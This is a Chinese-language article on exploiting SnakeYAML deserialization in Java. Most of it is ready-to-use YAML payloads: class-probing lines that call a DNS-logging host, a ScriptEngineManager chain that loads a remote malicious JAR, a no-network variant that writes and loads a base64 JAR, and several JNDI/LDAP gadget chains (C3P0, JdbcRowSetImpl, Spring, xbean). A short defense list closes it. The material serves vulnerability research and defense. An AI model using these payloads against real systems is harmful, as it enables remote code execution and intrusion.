Java安全SnakeYaml组件中类的探测到反序列化在SPI/C3P0/FastJson的利用
字数 829 2025-08-25 22:58:20

SnakeYAML反序列化漏洞分析与利用

反序列化探测技术

使用URLClassLoader探测

String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://tcbua9.ceye.io/\"]]]]";

使用Key调用hashCode方法探测

String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
  • 利用原理:HashMap处理时会调用key的hashCode方法
  • 适用于触发URLDNS链的探测

探测内部类

String poc = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
  • 如果反序列化不报错,说明类存在
  • {}表示无参构造,[]用于有参构造

语法技巧

替代!!指定类的方法

  1. 使用!<>结合
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://tcbua9.ceye.io/"]]]]
  • 要求类有单参构造器
  1. 使用%TAG声明
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://tcbua9.ceye.io/"]]]]
  • 支持多参数构造

SnakeYAML反序列化原理

  • 工作机制
    • Yaml.load():将YAML转为Java对象
    • Yaml.dump():将对象转为YAML格式
  • 反序列化过程
    1. 创建StreamReader读取输入
    2. 通过Composer创建节点
    3. 使用Constructor构造对象
    4. 反射实例化类并设置属性

利用链分析

1. SPI机制利用链(ScriptEngineManager)

POC:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/a.jar"]]]]

利用条件

  • 需要提供包含META-INF/services/javax.script.ScriptEngineFactory的恶意JAR

不出网利用

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["/tmp/yaml-payload.txt"],false],!!java.util.zip.Inflater { input: !!binary [BASE64编码的JAR] },1048576]]

!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/yaml-payload.txt"]]]]

2. C3P0利用链

JndiRefForwardingDataSource

!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {
  jndiName: "ldap://127.0.0.1:8888/EvilObject", 
  loginTimeout: "0"
}

WrapperConnectionPoolDataSource(不出网)

// 生成CC4链的序列化数据
PriorityQueue queue = CommonsCollections4();
String hexString = //...序列化数据转为HEX

String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap: " + hexString  + "\"}";

3. Fastjson相关利用链

JdbcRowSetImpl

!!com.sun.rowset.JdbcRowSetImpl {
  dataSourceName: "ldap://127.0.0.1:8888/EvilObject", 
  autoCommit: "true"
}

OracleJDBCRowSet

!!oracle.jdbc.rowset.OracleJDBCRowSet {
  dataSourceName: "ldap://localhost:9999/Evil", 
  command: "a"
}

JndiDataSourceFactory

!!org.apache.ibatis.datasource.jndi.JndiDataSourceFactory {
  properties: {
    data_source: "ldap://127.0.0.1:9999/Evil"
  }
}

PropertyPathFactoryBean

!!org.springframework.beans.factory.config.PropertyPathFactoryBean {
  targetBeanName: "ldap://127.0.0.1:9999/Evil", 
  propertyPath: "xxx", 
  beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {
    shareableResources: ["ldap://127.0.0.1:1099/Exploit"]
  }
}

BadAttributeValueExpException

!!javax.management.BadAttributeValueExpException [
  !!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [
    "foo",
    !!javax.naming.Reference [
      "foo", 
      "Evil", 
      "http://127.0.0.1/"
    ],
    !!org.apache.xbean.naming.context.WritableContext []
  ]
]

ConfigurationMap

!!org.apache.commons.configuration.ConfigurationMap [
  !!org.apache.commons.configuration.JNDIConfiguration [
    !!javax.naming.InitialContext [], 
    "ldap://127.0.0.1:9999/Evil"
  ]
]: 1

防御建议

  1. 使用Yaml的安全配置:
Yaml yaml = new Yaml(new SafeConstructor());
  1. 限制反序列化的类白名单

  2. 升级SnakeYAML到最新版本

  3. 禁用危险的YAML特性

参考资源

  1. SnakeYAML反序列化及可利用Gadget分析
  2. SnakeYAML反序列化漏洞分析
SnakeYAML反序列化漏洞分析与利用 反序列化探测技术 使用URLClassLoader探测 使用Key调用hashCode方法探测 利用原理:HashMap处理时会调用key的hashCode方法 适用于触发URLDNS链的探测 探测内部类 如果反序列化不报错,说明类存在 {} 表示无参构造, [] 用于有参构造 语法技巧 替代 !! 指定类的方法 使用 !<> 结合 : 要求类有单参构造器 使用 %TAG 声明 : 支持多参数构造 SnakeYAML反序列化原理 工作机制 : Yaml.load() :将YAML转为Java对象 Yaml.dump() :将对象转为YAML格式 反序列化过程 : 创建 StreamReader 读取输入 通过 Composer 创建节点 使用 Constructor 构造对象 反射实例化类并设置属性 利用链分析 1. SPI机制利用链(ScriptEngineManager) POC : 利用条件 : 需要提供包含 META-INF/services/javax.script.ScriptEngineFactory 的恶意JAR 不出网利用 : 2. C3P0利用链 JndiRefForwardingDataSource WrapperConnectionPoolDataSource(不出网) 3. Fastjson相关利用链 JdbcRowSetImpl OracleJDBCRowSet JndiDataSourceFactory PropertyPathFactoryBean BadAttributeValueExpException ConfigurationMap 防御建议 使用 Yaml 的安全配置: 限制反序列化的类白名单 升级SnakeYAML到最新版本 禁用危险的YAML特性 参考资源 SnakeYAML反序列化及可利用Gadget分析 SnakeYAML反序列化漏洞分析